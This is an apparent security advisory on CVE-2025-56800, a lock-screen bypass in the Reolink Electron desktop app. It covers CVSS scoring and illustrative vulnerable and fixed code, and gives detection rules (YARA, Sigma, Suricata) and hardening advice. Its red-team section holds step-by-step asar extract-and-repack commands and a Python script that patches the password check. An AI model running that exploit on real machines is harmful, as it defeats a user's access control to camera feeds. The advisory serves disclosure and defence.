CVE-2025-56800

Executive Summary

CVE-2025-56800 identifies a critical architectural flaw in the Reolink desktop application (version 8.18.12). The vulnerability stems from the application’s reliance on client-side JavaScript logic within an Electron resource file to enforce a lock screen password. An attacker with local access can trivially bypass this authentication by modifying a JavaScript property (a.settingsManager.lockScreenPassword) in the application’s source code. This bypass allows unauthorized access to the application’s interface and potentially sensitive camera feeds or configurations.

The vulnerability is classified as CWE-602: Client-Side Enforcement of Server-Side Security, as the security control (password verification) is implemented entirely on the client side, making it susceptible to local tampering. The CVSS score is low (2.5) due to the requirement for local access, but the impact is significant for shared or multi-user environments.

Note: The vendor disputes this finding, arguing that the bypass requires the local user to modify their own instance. However, this overlooks scenarios where an attacker gains temporary local access (e.g., via malware or physical access) and can silently patch the application to bypass the lock screen.

Supply Chain & Package Security

This vulnerability is not related to an open-source package manager (NPM, PyPI, Go, Ruby). However, the use of Electron (a framework that bundles Node.js and Chromium) introduces supply chain risks. The application’s security relies on the integrity of its JavaScript files, which are not cryptographically verified at runtime. An attacker could modify the app.asar archive (the Electron resource file) to inject malicious code or alter authentication logic.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N
• Base Score: 2.5 (Low)
• Attack Vector: Local (AV:L) – Requires physical or remote access to the user’s machine.
• Attack Complexity: Low (AC:L) – No special conditions; the attacker can directly modify the JavaScript file.
• Privileges Required: Low (PR:L) – The attacker needs user-level access to the file system.
• User Interaction: None (UI:N) – No victim interaction required.
• Scope: Unchanged (S:U) – The vulnerability does not affect other components.
• Confidentiality Impact: Low (C:L) – Limited access to application data (e.g., camera feeds).
• Integrity Impact: Low (I:L) – The attacker can modify application behavior but not the underlying system.
• Availability Impact: None (A:N) – No denial of service.

Threat Level: Low (due to local access requirement), but critical in shared environments (e.g., kiosks, multi-user workstations, or corporate desktops with sensitive camera feeds).

Deep Dive & Mechanics

The Reolink desktop application is built on Electron, which packages a web application (HTML, CSS, JavaScript) into a native desktop app. The lock screen password logic is implemented in a JavaScript file within the app.asar archive (the Electron resource file).

Vulnerable Code Flow:

1. The application loads a JavaScript file that defines a settingsManager object.
2. The lockScreenPassword property is stored in plaintext (or hashed) within this object.
3. When the user enters a password, the application compares it to a.settingsManager.lockScreenPassword on the client side.
4. If the comparison succeeds, the lock screen is dismissed.

Attack Vector: An attacker with local file system access can:

1. Locate the app.asar file (typically in C:\Program Files\Reolink\resources\app.asar on Windows or /Applications/Reolink.app/Contents/Resources/app.asar on macOS).
2. Extract the archive using a tool like asar (Node.js package).
3. Modify the JavaScript file to change the lockScreenPassword property to a known value (e.g., "bypass") or patch the comparison logic to always return true.
4. Repack the app.asar file and restart the application.

Example Patch (JavaScript):

// Original vulnerable code
if (a.settingsManager.lockScreenPassword === enteredPassword) {
    // Unlock
}

// Patched code (bypass)
a.settingsManager.lockScreenPassword = "bypass";
if (a.settingsManager.lockScreenPassword === enteredPassword) {
    // Unlock
}

Why This Works:

• The password verification is performed entirely in the client-side JavaScript runtime.
• There is no server-side validation or cryptographic signature on the application files.
• The Electron framework does not enforce integrity checks on the app.asar contents.

Vulnerable vs. Patched Code

Vulnerable Code (Reolink 8.18.12):

// In app.asar/resources/app/renderer.js (or similar)
const settingsManager = {
    lockScreenPassword: "stored_password_hash_or_plaintext",
    // ... other settings
};

function checkPassword(enteredPassword) {
    if (enteredPassword === settingsManager.lockScreenPassword) {
        unlockScreen();
    } else {
        showError("Incorrect password");
    }
}

Patched Code (Hypothetical Fix):

// Server-side validation (e.g., via IPC to a native module)
const { ipcRenderer } = require('electron');

function checkPassword(enteredPassword) {
    ipcRenderer.invoke('validate-password', enteredPassword).then((result) => {
        if (result.valid) {
            unlockScreen();
        } else {
            showError("Incorrect password");
        }
    });
}

// Main process (main.js)
const { ipcMain } = require('electron');
const crypto = require('crypto');

ipcMain.handle('validate-password', (event, enteredPassword) => {
    const storedHash = getStoredPasswordHash(); // From secure storage (e.g., keychain)
    const enteredHash = crypto.createHash('sha256').update(enteredPassword).digest('hex');
    return { valid: enteredHash === storedHash };
});

Key Differences:

• Vulnerable: Password validation is in the renderer process (JavaScript), modifiable by the user.
• Patched: Password validation is moved to the main process (Node.js), which is harder to tamper with, and uses secure storage (e.g., OS keychain).

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Local access to the target machine (e.g., via malware, physical access, or remote desktop).
• Node.js installed (for asar tool) or a pre-built script.

Step-by-Step Exploit:

1. Locate the Application Resources:

   • Windows: C:\Program Files\Reolink\resources\app.asar
   • macOS: /Applications/Reolink.app/Contents/Resources/app.asar

2. Extract the ASAR Archive:

   npx asar extract app.asar app
   

3. Find the Lock Screen Logic: Search for lockScreenPassword in the extracted files:

   grep -r "lockScreenPassword" app/
   

4. Patch the JavaScript File: Modify the file (e.g., app/renderer.js) to bypass the check:

   // Replace the check function with a no-op
   function checkPassword(enteredPassword) {
       unlockScreen(); // Always unlock
   }
   

5. Repack the ASAR Archive:

   npx asar pack app app.asar
   

6. Replace the Original File: Overwrite the original app.asar with the modified version (requires write permissions).

7. Restart the Application: The lock screen will be bypassed on the next launch.

Automated Exploit Script (Python):

import os
import shutil
import subprocess
import tempfile

def exploit_reolink():
    # Paths
    if os.name == 'nt':
        asar_path = r"C:\Program Files\Reolink\resources\app.asar"
    else:
        asar_path = "/Applications/Reolink.app/Contents/Resources/app.asar"
    
    # Create temp directory
    temp_dir = tempfile.mkdtemp()
    
    # Extract
    subprocess.run(["npx", "asar", "extract", asar_path, temp_dir])
    
    # Patch (example: modify renderer.js)
    renderer_path = os.path.join(temp_dir, "renderer.js")
    with open(renderer_path, "r") as f:
        content = f.read()
    
    # Replace the check function
    content = content.replace(
        "function checkPassword(enteredPassword) {",
        "function checkPassword(enteredPassword) { unlockScreen(); return;"
    )
    
    with open(renderer_path, "w") as f:
        f.write(content)
    
    # Repack
    new_asar = os.path.join(temp_dir, "app.asar")
    subprocess.run(["npx", "asar", "pack", temp_dir, new_asar])
    
    # Replace original
    shutil.copy2(new_asar, asar_path)
    
    # Cleanup
    shutil.rmtree(temp_dir)
    
    print("Exploit complete. Restart Reolink to bypass lock screen.")

if __name__ == "__main__":
    exploit_reolink()

Blue Team (Detection & Hardening)

Detection:

• Monitor for modifications to app.asar files in the Reolink installation directory.
• Use file integrity monitoring (FIM) tools (e.g., Tripwire, OSSEC) to alert on changes.
• Check for the presence of the asar Node.js package on endpoints (indicates tooling for extraction).

Hardening:

• Application Control: Use AppLocker or Windows Defender Application Control to block unauthorized modifications to application binaries.
• File Permissions: Restrict write access to the Reolink installation directory to only administrators.
• Code Signing: Ensure the application binaries are signed and verify signatures at runtime (not currently implemented by Reolink).
• User Education: Advise users not to share their workstations and to lock their screens when away.

Indicators of Compromise (IOCs)

File-Based IOCs:

• Modified app.asar file (hash mismatch with original).
• Presence of extracted app directory in temporary folders.
• Logs showing asar command execution (e.g., asar extract, asar pack).

Network IOCs:

• Unusual outbound connections from the Reolink application (if the attacker exfiltrates camera feeds).
• DNS queries to suspicious domains (if the attacker uses the application for C2).

Behavioral IOCs:

• Reolink application starts without prompting for a password.
• Multiple failed login attempts (if the attacker is testing passwords before patching).
• Unexpected changes to application settings (e.g., camera configurations).

YARA Rule:

rule Reolink_LockScreen_Bypass {
    meta:
        description = "Detects modified Reolink app.asar files with lock screen bypass"
        author = "Valters IT"
        date = "2025-04-10"
        hash = "sha256: [INSERT ORIGINAL HASH]"
    strings:
        $bypass1 = "unlockScreen()" ascii wide
        $bypass2 = "lockScreenPassword" ascii wide
        $asar_magic = { 41 53 41 52 } // "ASAR" magic bytes
    condition:
        $asar_magic at 0 and ($bypass1 or $bypass2)
}

Detection Engineering

YARA Rule

rule Reolink_LockScreen_Bypass_Detection {
    meta:
        description = "Detects modified Reolink app.asar files with lock screen bypass"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-56800"
    strings:
        $s1 = "lockScreenPassword" ascii wide
        $s2 = "unlockScreen" ascii wide
        $s3 = "checkPassword" ascii wide
        $asar_header = { 41 53 41 52 } // "ASAR"
    condition:
        $asar_header at 0 and any of ($s1, $s2, $s3)
}

Sigma Rule

title: Reolink Lock Screen Bypass via ASAR Modification
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects modification of Reolink app.asar file, indicating a lock screen bypass attempt.
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-56800
logsource:
    category: file_event
    product: windows
    service: sysmon
detection:
    selection:
        Image|endswith: '\asar.exe'
        TargetFilename|endswith: '\app.asar'
    condition: selection
falsepositives:
    - Legitimate updates from Reolink (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"Reolink Lock Screen Bypass - Potential Exfiltration"; flow:to_server,established; content:"Reolink"; http_user_agent; content:"camera"; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Update Application: Check for an official patch from Reolink. If unavailable, consider using an alternative application for camera management.
2. Restrict Local Access: Ensure that only trusted users have physical or remote access to machines running Reolink.
3. File Integrity Monitoring: Deploy FIM to alert on changes to app.asar and other critical application files.

Long-Term Fixes (for Reolink):

• Move password validation to the main process (Node.js) or a native module.
• Use the OS keychain (e.g., Windows Credential Manager, macOS Keychain) to store passwords.
• Implement code signing and runtime integrity checks (e.g., verify ASAR hash on startup).
• Add a server-side authentication option for enterprise deployments.

Workarounds:

• Disable the lock screen feature if not critical.
• Use third-party screen lock software (e.g., Windows built-in lock screen) instead of the application’s built-in mechanism.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert